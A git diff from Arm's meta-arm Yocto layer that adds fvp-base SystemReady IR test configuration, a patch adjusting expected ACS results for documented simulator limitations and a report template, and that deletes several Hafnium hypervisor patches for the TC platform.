diff --git a/meta-arm/meta-arm-bsp/dynamic-layers/meta-arm-systemready/recipes-test/arm-systemready-acs/arm-systemready-ir-acs.bbappend b/meta-arm/meta-arm-bsp/dynamic-layers/meta-arm-systemready/recipes-test/arm-systemready-acs/arm-systemready-ir-acs.bbappend
new file mode 100644
index 0000000000..397342f439
--- /dev/null
+++ b/meta-arm/meta-arm-bsp/dynamic-layers/meta-arm-systemready/recipes-test/arm-systemready-acs/arm-systemready-ir-acs.bbappend
@@ -0,0 +1 @@
+include arm-systemready-ir-acs-${MACHINE}.inc
diff --git a/meta-arm/meta-arm-bsp/dynamic-layers/meta-arm-systemready/recipes-test/arm-systemready-acs/arm-systemready-scripts-native-fvp-base.inc b/meta-arm/meta-arm-bsp/dynamic-layers/meta-arm-systemready/recipes-test/arm-systemready-acs/arm-systemready-scripts-native-fvp-base.inc
new file mode 100644
index 0000000000..dc01d0a2fc
--- /dev/null
+++ b/meta-arm/meta-arm-bsp/dynamic-layers/meta-arm-systemready/recipes-test/arm-systemready-acs/arm-systemready-scripts-native-fvp-base.inc
@@ -0,0 +1,5 @@
+FILESEXTRAPATHS:prepend := "${THISDIR}/files/fvp-base:"
+
+SRC_URI:append = " \
+ file://0001-check-sr-results-Change-the-expected-SR-result-confi.patch \
+"
diff --git a/meta-arm/meta-arm-bsp/dynamic-layers/meta-arm-systemready/recipes-test/arm-systemready-acs/arm-systemready-scripts-native.bbappend b/meta-arm/meta-arm-bsp/dynamic-layers/meta-arm-systemready/recipes-test/arm-systemready-acs/arm-systemready-scripts-native.bbappend
new file mode 100644
index 0000000000..49c01ee96e
--- /dev/null
+++ b/meta-arm/meta-arm-bsp/dynamic-layers/meta-arm-systemready/recipes-test/arm-systemready-acs/arm-systemready-scripts-native.bbappend
@@ -0,0 +1 @@
+include arm-systemready-scripts-native-${MACHINE}.inc
diff --git a/meta-arm/meta-arm-bsp/dynamic-layers/meta-arm-systemready/recipes-test/arm-systemready-acs/files/fvp-base/0001-check-sr-results-Change-the-expected-SR-result-confi.patch b/meta-arm/meta-arm-bsp/dynamic-layers/meta-arm-systemready/recipes-test/arm-systemready-acs/files/fvp-base/0001-check-sr-results-Change-the-expected-SR-result-confi.patch
new file mode 100644
index 0000000000..d2226cb133
--- /dev/null
+++ b/meta-arm/meta-arm-bsp/dynamic-layers/meta-arm-systemready/recipes-test/arm-systemready-acs/files/fvp-base/0001-check-sr-results-Change-the-expected-SR-result-confi.patch
@@ -0,0 +1,227 @@
+From e3e0465a25f9b1607b2e5ed42afb7b556aa8b9bc Mon Sep 17 00:00:00 2001
+From: Debbie Martin <Debbie.Martin@arm.com>
+Date: Wed, 4 Oct 2023 18:40:18 +0100
+Subject: [PATCH] [PATCH] check-sr-results: Change the expected SR result
+ config
+
+Update the check-sr-results.yaml and format-sr-results.yaml files for the
+Systemready IR suite. These changes are required because of the
+following known differences of fvp-base outputs to those expected by the
+SystemReady scripts.
+
+Changes to check-sr-results.yaml:
+ 1. acs-console.log:
+ a. must-have-esp: EFI partition/variable persistence not supported due to
+ FVP reset.
+ b. warn-once-if-contains "-dirty": BL1, BL2, and BL31 have dirty versions.
+ c. must-contain "efi: ESRT=0x" and "'esrt: Reserving ESRT space from 0x'":
+ Capsule updates are not supported.
+ d. error-if-contains: "No EFI system partition" and "Failed to persist
+ EFI variables": EFI partition/variable persistence not supported due to
+ FVP reset.
+ 2. acs_results/result.md:
+ a. must-contain "Failure: |0|": Capsule and EFI partition failures make
+ the total 20.
+ 3. acs_results/CapsuleApp_ESRT_table_info.log:
+ a. capsuleapp-esrt: Capsule updates are not supported.
+ b. must-contain "'EFI_SYSTEM_RESOURCE_TABLE:'" and
+ "EFI_SYSTEM_RESOURCE_ENTRY": EFI partition/variable persistence not
+ supported due to FVP reset.
+ c. must-contain "FwClass": Capsule updates are not supported.
+ d. error-if-contains "ESRT - Not Found": Capsule updates are not
+ supported.
+ 4. acs_results/CapsuleApp_FMP_protocol_info.log:
+ a. warn-if-contains "Aborted test": Capsule updates are not supported.
+ This patch also adds must-contain for the specific totals of the test
+ categories due to allowing the "Aborted test" string.
+ 5. acs_results/linux_dump/firmware/efi/esrt:
+ a. Remove whole directory because capsule updates are not supported.
+ 6. acs_results/uefi/temp:
+ a. Set min-entries to 0: this defaults to 1 despite the directory being
+ optional, so errors if a directory is empty.
+ 7. acs_results/uefi_dump:
+ a. min-entries is 13: change this to 11 due to smbiosview.log being
+ optional and the change to make map.log optional.
+ 8. acs_results/uefi_dump/dh.log:
+ a. must-contain "EFISystemPartition": EFI partition/variable persistence
+ not supported due to FVP reset.
+ b. must-contain "FirmwareManagement": Capsule updates are not supported.
+ 9. acs_results/uefi_dump/map.log:
+ a. Make optional because it isn't populated for IR.
+ 10. fw:
+ a. Make optional because capsule updates are not supported.
+ 11. os-logs:
+ a. Make optional because distro installation isn't done as part of ACS.
+
+Changes to format-sr-results.yaml:
+ 1. Remove the SIE section (not supported on fvp-base and, if present, causes
+ format-sr-results.py to error).
+
+Upstream-Status: Inappropriate
+Signed-off-by: Debbie Martin <Debbie.Martin@arm.com>
+---
+ check-sr-results.yaml | 34 ++++++++++++++--------------------
+ format-sr-results.yaml | 15 ---------------
+ 2 files changed, 14 insertions(+), 35 deletions(-)
+
+diff --git a/check-sr-results.yaml b/check-sr-results.yaml
+index a4235de..555fb71 100644
+--- a/check-sr-results.yaml
++++ b/check-sr-results.yaml
+@@ -10,7 +10,6 @@ check-sr-results-configuration:
+ # The following tree applies to all ACS-IR 2.0 versions.
+ tree:
+ - file: acs-console.log
+- must-have-esp:
+ must-contain:
+ - Booting `bbr/bsa'
+ - Press any key to stop the EFI SCT running
+@@ -24,8 +23,6 @@ tree:
+ - 'EFI stub: Booting Linux Kernel...'
+ - 'EFI stub: Using DTB from configuration table'
+ - Linux version
+- - 'efi: ESRT=0x'
+- - 'esrt: Reserving ESRT space from 0x'
+ - systemd
+ - Executing FWTS for EBBR
+ - 'Test: UEFI'
+@@ -36,13 +33,9 @@ tree:
+ - ACS run is completed
+ - Please press <Enter> to continue ...
+ warn-once-if-contains:
+- - -dirty
+ - 'EFI stub: ERROR:'
+ - 'FIRMWARE BUG:'
+ - OVERLAP DETECTED
+- error-if-contains:
+- - No EFI system partition
+- - Failed to persist EFI variables
+ - dir: acs_results
+ min-entries: 8 # Allow missing result.md
+ max-entries: 9
+@@ -53,7 +46,7 @@ tree:
+ must-contain:
+ - SCT Summary
+ - Dropped:|0|
+- - Failure:|0|
++ - Failure:|20|
+ - Warning:|0|
+ - Dropped by group
+ - Failure by group
+@@ -64,16 +57,11 @@ tree:
+ max-entries: 2
+ tree:
+ - file: CapsuleApp_ESRT_table_info.log
+- capsuleapp-esrt:
+ must-contain:
+ - ESRT TABLE
+- - 'EFI_SYSTEM_RESOURCE_TABLE:'
+- - EFI_SYSTEM_RESOURCE_ENTRY
+- - FwClass
+ error-if-contains:
+ - FwResourceCount - 0x0
+ - FwResourceCountMax - 0x0
+- - ESRT - Not Found
+ - file: CapsuleApp_FMP_protocol_info.log
+ must-contain:
+ - FMP DATA
+@@ -95,9 +83,14 @@ tree:
+ - 'Medium failures: NONE'
+ - 'Low failures: NONE'
+ - 'Other failures: NONE'
++ - 'dt_base | 3| | | | | |'
++ - 'esrt | | | 2| | | |'
++ - 'uefibootpath | | | | | | |'
++ - 'uefirtmisc | 1| | | | 8| |'
++ - 'uefirttime | 4| | | | 35| |'
++ - 'uefirtvariable | 2| | | | 10| |'
++ - 'uefivarinfo | | | | | 1| |'
+ - 'Total:'
+- warn-if-contains:
+- - Aborted test
+ error-if-contains:
+ - FAILED
+ - This is an invalid entry.
+@@ -180,6 +173,7 @@ tree:
+ tree:
+ - file: OsIndicationsSupported-*
+ - dir: esrt
++ optional:
+ tree:
+ - dir: entries
+ tree:
+@@ -314,8 +308,9 @@ tree:
+ - BSA tests complete. Reset the system.
+ - dir: temp # This sometimes remains; ignore it
+ optional:
++ min-entries: 0
+ - dir: uefi_dump
+- min-entries: 13
++ min-entries: 11
+ max-entries: 13
+ tree:
+ - file: bcfg.log
+@@ -331,8 +326,6 @@ tree:
+ must-contain:
+ - Handle dump
+ - DevicePath
+- - EFISystemPartition
+- - FirmwareManagement
+ - SimpleTextOut
+ - file: dmem.log
+ must-contain:
+@@ -355,6 +348,7 @@ tree:
+ - DRIVER NAME
+ - file: ifconfig.log
+ - file: map.log
++ optional:
+ must-contain:
+ - Mapping table
+ - /HD(1,GPT,
+@@ -392,7 +386,7 @@ tree:
+ - dir: docs
+ optional:
+ - dir: fw
+- min-entries: 3
++ optional:
+ tree:
+ - file: u-boot-sniff.log
+ must-contain:
+@@ -500,7 +494,7 @@ tree:
+ - dir: manual-results
+ optional:
+ - dir: os-logs
+- min-entries: 2
++ optional:
+ tree:
+ - file: 'OS-image-download-links.txt'
+ optional:
+diff --git a/format-sr-results.yaml b/format-sr-results.yaml
+index dd34cd6..20b69de 100644
+--- a/format-sr-results.yaml
++++ b/format-sr-results.yaml
+@@ -47,21 +47,6 @@ subs:
+ extract:
+ filename: "acs_results/linux_dump/firmware/devicetree/base/psci/\
+ compatible"
+- - heading: BBSR Compliance
+- paragraph: TBD
+- subs:
+- - heading: SIE SCT
+- extract:
+- filename: acs_results/SIE/result.md
+- find: '# SCT Summary'
+- first-line: 4
+- last-line:
+- paragraph: TBD
+- - heading: SIE FWTS
+- extract:
+- filename: acs_results/SIE/fwts/FWTSResults.log
+- find: Test Failure Summary
+- paragraph: TBD
+ - heading: BSA Compliance (informative)
+ paragraph: TBD
+ subs:
+--
+2.25.1
+
diff --git a/meta-arm/meta-arm-bsp/dynamic-layers/meta-arm-systemready/recipes-test/arm-systemready-acs/files/fvp-base/report.txt b/meta-arm/meta-arm-bsp/dynamic-layers/meta-arm-systemready/recipes-test/arm-systemready-acs/files/fvp-base/report.txt
new file mode 100644
index 0000000000..f4363b7092
--- /dev/null
+++ b/meta-arm/meta-arm-bsp/dynamic-layers/meta-arm-systemready/recipes-test/arm-systemready-acs/files/fvp-base/report.txt
@@ -0,0 +1,34 @@
+General information
+-------------------
+- Arm SystemReady Band: IR
+- System name: FVP Base A AEM
+- Prepared by:
+- E-mail:
+- Date:
+
+System information
+------------------
+- Company: Arm
+- System: FVP Base A AEM
+- SoC:
+- FW version:
+- Memory:
+- Storage devices / disks:
+- Network controllers:
+- Other Hardware information:
+
+Test Logs and Results
+---------------------
+- ACS version used: 2.0
+- ACS URL (if pre-built binary): https://github.com/ARM-software/arm-systemready/blob/v23.03_IR_2.0.0/IR/prebuilt_images/v23.03_2.0.0/ir-acs-live-image-generic-arm64.wic.xz
+- Changes to ACS (if built from source):
+
+- Test Logs collected
+[X] ACS - SCT
+[X] ACS - BSA - UEFI
+[X] ACS - BSA - Linux
+[X] ACS - FWTS
+[X] ACS - Linux boot log
+[X] ACS - Linux dumps
+[X] ACS - UEFI Shell dumps
+[ ] ACS - Capsule Update
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/hafnium/files/tc/0001-feat-emulate-cntp-timer-register-accesses-using-cnth.patch b/meta-arm/meta-arm-bsp/recipes-bsp/hafnium/files/tc/0001-feat-emulate-cntp-timer-register-accesses-using-cnth.patch
deleted file mode 100644
index 9ae4b39f85..0000000000
--- a/meta-arm/meta-arm-bsp/recipes-bsp/hafnium/files/tc/0001-feat-emulate-cntp-timer-register-accesses-using-cnth.patch
+++ /dev/null
@@ -1,249 +0,0 @@
-From 3bc797e097ef2b29acf36560e4d2bfeec31f8d81 Mon Sep 17 00:00:00 2001
-From: Ben Horgan <ben.horgan@arm.com>
-Date: Fri, 4 Mar 2022 16:48:14 +0000
-Subject: [PATCH] feat: emulate cntp timer register accesses using cnthps
-
-Upstream-Status: Inappropriate [Experimental feature]
-Signed-off-by: Ben Horgan <ben.horgan@arm.com>
-Change-Id: I67508203273baf3bd8e6be2d99717028db945715
----
- Makefile | 3 +-
- src/arch/aarch64/hypervisor/BUILD.gn | 1 +
- src/arch/aarch64/hypervisor/cpu.c | 11 ++-
- src/arch/aarch64/hypervisor/handler.c | 6 ++
- src/arch/aarch64/hypervisor/timer_el1.c | 104 ++++++++++++++++++++++++
- src/arch/aarch64/hypervisor/timer_el1.h | 20 +++++
- src/arch/aarch64/msr.h | 8 ++
- 7 files changed, 150 insertions(+), 3 deletions(-)
- create mode 100644 src/arch/aarch64/hypervisor/timer_el1.c
- create mode 100644 src/arch/aarch64/hypervisor/timer_el1.h
-
-diff --git a/Makefile b/Makefile
-index 95cab9a56bfd..21cca938531d 100644
---- a/Makefile
-+++ b/Makefile
-@@ -60,7 +60,8 @@ CHECKPATCH := $(CURDIR)/third_party/linux/scripts/checkpatch.pl \
- # debug_el1.c : uses XMACROS, which checkpatch doesn't understand.
- # perfmon.c : uses XMACROS, which checkpatch doesn't understand.
- # feature_id.c : uses XMACROS, which checkpatch doesn't understand.
--CHECKPATCH_IGNORE := "src/arch/aarch64/hypervisor/debug_el1.c\|src/arch/aarch64/hypervisor/perfmon.c\|src/arch/aarch64/hypervisor/feature_id.c"
-+# timer_el1.c : uses XMACROS, which checkpatch doesn't understand.
-+CHECKPATCH_IGNORE := "src/arch/aarch64/hypervisor/debug_el1.c\|src/arch/aarch64/hypervisor/perfmon.c\|src/arch/aarch64/hypervisor/feature_id.c\|src/arch/aarch64/hypervisor/timer_el1.c"
-
- OUT ?= out/$(PROJECT)
- OUT_DIR = out/$(PROJECT)
-diff --git a/src/arch/aarch64/hypervisor/BUILD.gn b/src/arch/aarch64/hypervisor/BUILD.gn
-index 6068d1e8f075..de1a414dac68 100644
---- a/src/arch/aarch64/hypervisor/BUILD.gn
-+++ b/src/arch/aarch64/hypervisor/BUILD.gn
-@@ -45,6 +45,7 @@ source_set("hypervisor") {
- "handler.c",
- "perfmon.c",
- "psci_handler.c",
-+ "timer_el1.c",
- "vm.c",
- ]
-
-diff --git a/src/arch/aarch64/hypervisor/cpu.c b/src/arch/aarch64/hypervisor/cpu.c
-index 5e025b596674..edd5df134cfc 100644
---- a/src/arch/aarch64/hypervisor/cpu.c
-+++ b/src/arch/aarch64/hypervisor/cpu.c
-@@ -98,13 +98,20 @@ void arch_regs_reset(struct vcpu *vcpu)
- if (is_primary) {
- /*
- * cnthctl_el2 is redefined when VHE is enabled.
-- * EL1PCTEN, don't trap phys cnt access.
-- * EL1PCEN, don't trap phys timer access.
-+ * EL1PCTEN, don't trap phys cnt access. Except when in
-+ * secure world without vhe.
-+ * EL1PCEN, don't trap phys timer access. Except when in
-+ * secure world without vhe.
- */
- if (has_vhe_support()) {
- cnthctl |= (1U << 10) | (1U << 11);
- } else {
-+#if SECURE_WORLD == 1
-+ cnthctl &= ~(1U << 0);
-+ cnthctl &= ~(1U << 1);
-+#else
- cnthctl |= (1U << 0) | (1U << 1);
-+#endif
- }
- }
-
-diff --git a/src/arch/aarch64/hypervisor/handler.c b/src/arch/aarch64/hypervisor/handler.c
-index 3422ff7b8265..c495df40f3f5 100644
---- a/src/arch/aarch64/hypervisor/handler.c
-+++ b/src/arch/aarch64/hypervisor/handler.c
-@@ -34,6 +34,7 @@
- #include "psci_handler.h"
- #include "smc.h"
- #include "sysregs.h"
-+#include "timer_el1.h"
-
- /**
- * Hypervisor Fault Address Register Non-Secure.
-@@ -1295,6 +1296,11 @@ void handle_system_register_access(uintreg_t esr_el2)
- inject_el1_sysreg_trap_exception(vcpu, esr_el2);
- return;
- }
-+ } else if (timer_el1_is_register_access(esr_el2)) {
-+ if (!timer_el1_process_access(vcpu, vm_id, esr_el2)) {
-+ inject_el1_unknown_exception(vcpu, esr_el2);
-+ return;
-+ }
- } else {
- inject_el1_sysreg_trap_exception(vcpu, esr_el2);
- return;
-diff --git a/src/arch/aarch64/hypervisor/timer_el1.c b/src/arch/aarch64/hypervisor/timer_el1.c
-new file mode 100644
-index 000000000000..c30e5543f436
---- /dev/null
-+++ b/src/arch/aarch64/hypervisor/timer_el1.c
-@@ -0,0 +1,104 @@
-+/*
-+ * Copyright 2022 The Hafnium Authors.
-+ *
-+ * Use of this source code is governed by a BSD-style
-+ * license that can be found in the LICENSE file or at
-+ * https://opensource.org/licenses/BSD-3-Clause.
-+ */
-+
-+#include "timer_el1.h"
-+
-+#include "hf/dlog.h"
-+
-+#include "msr.h"
-+#include "sysregs.h"
-+
-+/*
-+ * Physical timer (CNTP) register encodings as defined in
-+ * table D13-8 of the ARMv8 ARM (DDI0487F).
-+ * TYPE, op0, op1, crn, crm, op2
-+ * The register names are the concatenation of
-+ * "CNTP_", TYPE and "_EL2".
-+ */
-+#define CNTP_REGISTERS \
-+ X(CTL, 3, 3, 14, 2, 1) \
-+ X(CVAL, 3, 3, 14, 2, 2) \
-+ X(TVAL, 3, 3, 14, 2, 0) \
-+
-+bool timer_el1_is_register_access(uintreg_t esr)
-+{
-+ uintreg_t sys_register = GET_ISS_SYSREG(esr);
-+ bool is_timer_access;
-+ switch (sys_register) {
-+#define X(type, op0, op1, crn, crm, op2) \
-+ case (GET_ISS_ENCODING(op0, op1, crn, crm, op2)): \
-+ is_timer_access = true; \
-+ break;
-+ CNTP_REGISTERS
-+#undef X
-+ case (GET_ISS_ENCODING(3, 3, 14, 0, 1)):
-+ is_timer_access = true;
-+ break;
-+ default:
-+ is_timer_access = false;
-+ }
-+
-+ return is_timer_access;
-+}
-+
-+/* Accesses to CNTP timer emulated with CNTHPS */
-+bool timer_el1_process_access(struct vcpu *vcpu, ffa_vm_id_t vm_id,
-+ uintreg_t esr)
-+{
-+ uintreg_t sys_register = GET_ISS_SYSREG(esr);
-+ uintreg_t rt_register = GET_ISS_RT(esr);
-+ uintreg_t value;
-+
-+ if (ISS_IS_READ(esr)) {
-+ switch (sys_register) {
-+#define X(type, op0, op1, crn, crm, op2) \
-+ case (GET_ISS_ENCODING(op0, op1, crn, crm, op2)): \
-+ value = read_msr(MSR_CNTHPS_##type##_EL2); \
-+ vcpu->regs.r[rt_register] = value; \
-+ break;
-+ CNTP_REGISTERS
-+#undef X
-+ case (GET_ISS_ENCODING(3, 3, 14, 0, 1)):
-+ value = read_msr(cntpct_el0);
-+ vcpu->regs.r[rt_register] = value;
-+ break;
-+ default:
-+ dlog_notice(
-+ "Unsupported timer register "
-+ "read: "
-+ "op0=%d, op1=%d, crn=%d, crm=%d, op2=%d, "
-+ "rt=%d.\n",
-+ GET_ISS_OP0(esr), GET_ISS_OP1(esr),
-+ GET_ISS_CRN(esr), GET_ISS_CRM(esr),
-+ GET_ISS_OP2(esr), GET_ISS_RT(esr));
-+ break;
-+ }
-+ } else {
-+ value = vcpu->regs.r[rt_register];
-+ switch (sys_register) {
-+#define X(type, op0, op1, crn, crm, op2) \
-+ case (GET_ISS_ENCODING(op0, op1, crn, crm, op2)): \
-+ write_msr(MSR_CNTHPS_##type##_EL2, value); \
-+ break;
-+ CNTP_REGISTERS
-+#undef X
-+ default:
-+ dlog_notice(
-+ "Unsupported timer register "
-+ "write: "
-+ "op0=%d, op1=%d, crn=%d, crm=%d, op2=%d, "
-+ "rt=%d, value=%d.\n",
-+ GET_ISS_OP0(esr), GET_ISS_OP1(esr),
-+ GET_ISS_CRN(esr), GET_ISS_CRM(esr),
-+ GET_ISS_OP2(esr), GET_ISS_RT(esr), value);
-+ break;
-+ }
-+ }
-+
-+ return true;
-+}
-diff --git a/src/arch/aarch64/hypervisor/timer_el1.h b/src/arch/aarch64/hypervisor/timer_el1.h
-new file mode 100644
-index 000000000000..04a43b6ca335
---- /dev/null
-+++ b/src/arch/aarch64/hypervisor/timer_el1.h
-@@ -0,0 +1,20 @@
-+/*
-+ * Copyright 2022 The Hafnium Authors.
-+ *
-+ * Use of this source code is governed by a BSD-style
-+ * license that can be found in the LICENSE file or at
-+ * https://opensource.org/licenses/BSD-3-Clause.
-+ */
-+
-+#pragma once
-+
-+#include "hf/arch/types.h"
-+
-+#include "hf/cpu.h"
-+
-+#include "vmapi/hf/ffa.h"
-+
-+bool timer_el1_is_register_access(uintreg_t esr);
-+
-+bool timer_el1_process_access(struct vcpu *vcpu, ffa_vm_id_t vm_id,
-+ uintreg_t esr);
-diff --git a/src/arch/aarch64/msr.h b/src/arch/aarch64/msr.h
-index 6edc39f2af48..bf1a66d1d4c5 100644
---- a/src/arch/aarch64/msr.h
-+++ b/src/arch/aarch64/msr.h
-@@ -131,3 +131,11 @@
- #define MSR_ELR_EL12 S3_5_C4_C0_1
-
- #endif
-+
-+/*
-+ * Secure EL2 Physical timer (CNTHPS) register encodings as defined in
-+ * table D13-8 of the ARMv8 ARM (DDI0487F).
-+ */
-+#define MSR_CNTHPS_CTL_EL2 S3_4_C14_C5_1
-+#define MSR_CNTHPS_CVAL_EL2 S3_4_C14_C5_2
-+#define MSR_CNTHPS_TVAL_EL2 S3_4_C14_C5_0
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/hafnium/files/tc/0001-feat-vhe-enable-vhe-and-disable-branch-protection-fo.patch b/meta-arm/meta-arm-bsp/recipes-bsp/hafnium/files/tc/0001-feat-vhe-enable-vhe-and-disable-branch-protection-fo.patch
deleted file mode 100644
index 9627a765f1..0000000000
--- a/meta-arm/meta-arm-bsp/recipes-bsp/hafnium/files/tc/0001-feat-vhe-enable-vhe-and-disable-branch-protection-fo.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-From 1fef5bd2504ce3a203c56a3b66dba773cd4893c6 Mon Sep 17 00:00:00 2001
-From: Davidson K <davidson.kumaresan@arm.com>
-Date: Thu, 8 Sep 2022 10:47:10 +0530
-Subject: [PATCH] feat(vhe): enable vhe and disable branch protection for TC
-
-Signed-off-by: Davidson K <davidson.kumaresan@arm.com>
-Change-Id: I60cd607d9f2bf0114b482980e7ca68e24aaf4d1f
-Upstream-Status: Pending [Not submitted to upstream yet]
----
- BUILD.gn | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/BUILD.gn b/BUILD.gn
-index cc6a78f4fdb8..acd1f9d1634b 100644
---- a/BUILD.gn
-+++ b/BUILD.gn
-@@ -245,7 +245,6 @@ aarch64_toolchains("secure_tc") {
- heap_pages = 180
- max_cpus = 8
- max_vms = 16
-- branch_protection = "standard"
- toolchain_args = {
- plat_ffa = "//src/arch/aarch64/plat/ffa:spmc"
- plat_psci = "//src/arch/aarch64/plat/psci:spmc"
-@@ -254,6 +253,7 @@ aarch64_toolchains("secure_tc") {
- secure_world = "1"
- pl011_base_address = "0x7ff80000"
- enable_mte = "1"
-+ enable_vhe = "1"
- plat_log_level = "LOG_LEVEL_INFO"
- }
- }
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/hafnium/files/tc/0002-feat-emulate-interrupt-controller-register-access.patch b/meta-arm/meta-arm-bsp/recipes-bsp/hafnium/files/tc/0002-feat-emulate-interrupt-controller-register-access.patch
deleted file mode 100644
index 3e6761519a..0000000000
--- a/meta-arm/meta-arm-bsp/recipes-bsp/hafnium/files/tc/0002-feat-emulate-interrupt-controller-register-access.patch
+++ /dev/null
@@ -1,156 +0,0 @@
-From 9f5b07e30c82713b9598ea60d9f802bd419b560f Mon Sep 17 00:00:00 2001
-From: Arunachalam Ganapathy <arunachalam.ganapathy@arm.com>
-Date: Tue, 26 Apr 2022 14:43:58 +0100
-Subject: [PATCH] feat: emulate interrupt controller register access
-
-This emulates ICC_SGI1R_EL1 and ICC_IGRPEN1_EL1 register
-
-Signed-off-by: Arunachalam Ganapathy <arunachalam.ganapathy@arm.com>
-Change-Id: I0c11f034f3676067597461a183a341c809adcaa4
-Upstream-Status: Inappropriate [Experimental feature]
----
- src/arch/aarch64/hypervisor/handler.c | 5 ++
- src/arch/aarch64/hypervisor/perfmon.c | 84 +++++++++++++++++++++++++++
- src/arch/aarch64/hypervisor/perfmon.h | 5 ++
- src/arch/aarch64/msr.h | 3 +
- 4 files changed, 97 insertions(+)
-
-diff --git a/src/arch/aarch64/hypervisor/handler.c b/src/arch/aarch64/hypervisor/handler.c
-index c495df40f3f5..13578fc99670 100644
---- a/src/arch/aarch64/hypervisor/handler.c
-+++ b/src/arch/aarch64/hypervisor/handler.c
-@@ -1301,6 +1301,11 @@ void handle_system_register_access(uintreg_t esr_el2)
- inject_el1_unknown_exception(vcpu, esr_el2);
- return;
- }
-+ } else if (intr_ctrl_is_register_access(esr_el2)) {
-+ if (!intr_ctrl_el1_process_access(vcpu, vm_id, esr_el2)) {
-+ inject_el1_unknown_exception(vcpu, esr_el2);
-+ return;
-+ }
- } else {
- inject_el1_sysreg_trap_exception(vcpu, esr_el2);
- return;
-diff --git a/src/arch/aarch64/hypervisor/perfmon.c b/src/arch/aarch64/hypervisor/perfmon.c
-index f13b035480d8..05e216c84c2e 100644
---- a/src/arch/aarch64/hypervisor/perfmon.c
-+++ b/src/arch/aarch64/hypervisor/perfmon.c
-@@ -116,6 +116,10 @@
- X(PMEVTYPER30_EL0 , 3, 3, 14, 15, 6) \
- X(PMCCFILTR_EL0 , 3, 3, 14, 15, 7)
-
-+#define INTR_CTRL_REGISTERS \
-+ X(ICC_IGRPEN1_EL1 , 3, 0, 12, 12, 7) \
-+ X(ICC_SGI1R_EL1 , 3, 0, 12, 11, 5) \
-+
- /* clang-format on */
-
- /**
-@@ -232,3 +236,83 @@ uintreg_t perfmon_get_pmccfiltr_el0_init_value(ffa_vm_id_t vm_id)
-
- return 0;
- }
-+
-+bool intr_ctrl_is_register_access(uintreg_t esr)
-+{
-+ uintreg_t op0 = GET_ISS_OP0(esr);
-+ uintreg_t op1 = GET_ISS_OP1(esr);
-+ uintreg_t crn = GET_ISS_CRN(esr);
-+ uintreg_t crm = GET_ISS_CRM(esr);
-+
-+ if (op0 == 3 && op1 == 0 && crn == 12 && crm == 12) {
-+ return true;
-+ }
-+
-+ if (op0 == 3 && op1 == 0 && crn == 12 && crm == 11) {
-+ return true;
-+ }
-+
-+ return false;
-+}
-+
-+bool intr_ctrl_el1_process_access(struct vcpu *vcpu, ffa_vm_id_t vm_id,
-+ uintreg_t esr)
-+{
-+ uintreg_t sys_register = GET_ISS_SYSREG(esr);
-+ uintreg_t rt_register = GET_ISS_RT(esr);
-+ uintreg_t value;
-+
-+ /* +1 because Rt can access register XZR */
-+ CHECK(rt_register < NUM_GP_REGS + 1);
-+
-+ if (ISS_IS_READ(esr)) {
-+ switch (sys_register) {
-+#define X(reg_name, op0, op1, crn, crm, op2) \
-+ case (GET_ISS_ENCODING(op0, op1, crn, crm, op2)): \
-+ value = read_msr(reg_name); \
-+ break;
-+ INTR_CTRL_REGISTERS
-+#undef X
-+ default:
-+ value = vcpu->regs.r[rt_register];
-+ dlog_notice(
-+ "Unsupported interrupt control register "
-+ "read: "
-+ "op0=%d, op1=%d, crn=%d, crm=%d, op2=%d, "
-+ "rt=%d.\n",
-+ GET_ISS_OP0(esr), GET_ISS_OP1(esr),
-+ GET_ISS_CRN(esr), GET_ISS_CRM(esr),
-+ GET_ISS_OP2(esr), GET_ISS_RT(esr));
-+ break;
-+ }
-+ if (rt_register != RT_REG_XZR) {
-+ vcpu->regs.r[rt_register] = value;
-+ }
-+ } else {
-+ if (rt_register != RT_REG_XZR) {
-+ value = vcpu->regs.r[rt_register];
-+ } else {
-+ value = 0;
-+ }
-+ switch (sys_register) {
-+#define X(reg_name, op0, op1, crn, crm, op2) \
-+ case (GET_ISS_ENCODING(op0, op1, crn, crm, op2)): \
-+ write_msr(reg_name, value); \
-+ break;
-+ INTR_CTRL_REGISTERS
-+#undef X
-+ default:
-+ dlog_notice(
-+ "Unsupported interrupt control register "
-+ "write: "
-+ "op0=%d, op1=%d, crn=%d, crm=%d, op2=%d, "
-+ "rt=%d.\n",
-+ GET_ISS_OP0(esr), GET_ISS_OP1(esr),
-+ GET_ISS_CRN(esr), GET_ISS_CRM(esr),
-+ GET_ISS_OP2(esr), GET_ISS_RT(esr));
-+ break;
-+ }
-+ }
-+
-+ return true;
-+}
-diff --git a/src/arch/aarch64/hypervisor/perfmon.h b/src/arch/aarch64/hypervisor/perfmon.h
-index 81669ba1c401..c90d45bfc239 100644
---- a/src/arch/aarch64/hypervisor/perfmon.h
-+++ b/src/arch/aarch64/hypervisor/perfmon.h
-@@ -70,3 +70,8 @@ bool perfmon_process_access(struct vcpu *vcpu, ffa_vm_id_t vm_id,
- uintreg_t esr_el2);
-
- uintreg_t perfmon_get_pmccfiltr_el0_init_value(ffa_vm_id_t vm_id);
-+
-+bool intr_ctrl_is_register_access(uintreg_t esr);
-+
-+bool intr_ctrl_el1_process_access(struct vcpu *vcpu, ffa_vm_id_t vm_id,
-+ uintreg_t esr);
-diff --git a/src/arch/aarch64/msr.h b/src/arch/aarch64/msr.h
-index bf1a66d1d4c5..b88a14b52f68 100644
---- a/src/arch/aarch64/msr.h
-+++ b/src/arch/aarch64/msr.h
-@@ -139,3 +139,6 @@
- #define MSR_CNTHPS_CTL_EL2 S3_4_C14_C5_1
- #define MSR_CNTHPS_CVAL_EL2 S3_4_C14_C5_2
- #define MSR_CNTHPS_TVAL_EL2 S3_4_C14_C5_0
-+
-+#define ICC_IGRPEN1_EL1 S3_0_C12_C12_7
-+#define ICC_SGI1R_EL1 S3_0_C12_C11_5
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/hafnium/files/tc/0003-feat-vhe-set-STAGE1_NS-while-mapping-memory-from-NWd.patch b/meta-arm/meta-arm-bsp/recipes-bsp/hafnium/files/tc/0003-feat-vhe-set-STAGE1_NS-while-mapping-memory-from-NWd.patch
deleted file mode 100644
index cd19f632c5..0000000000
--- a/meta-arm/meta-arm-bsp/recipes-bsp/hafnium/files/tc/0003-feat-vhe-set-STAGE1_NS-while-mapping-memory-from-NWd.patch
+++ /dev/null
@@ -1,41 +0,0 @@
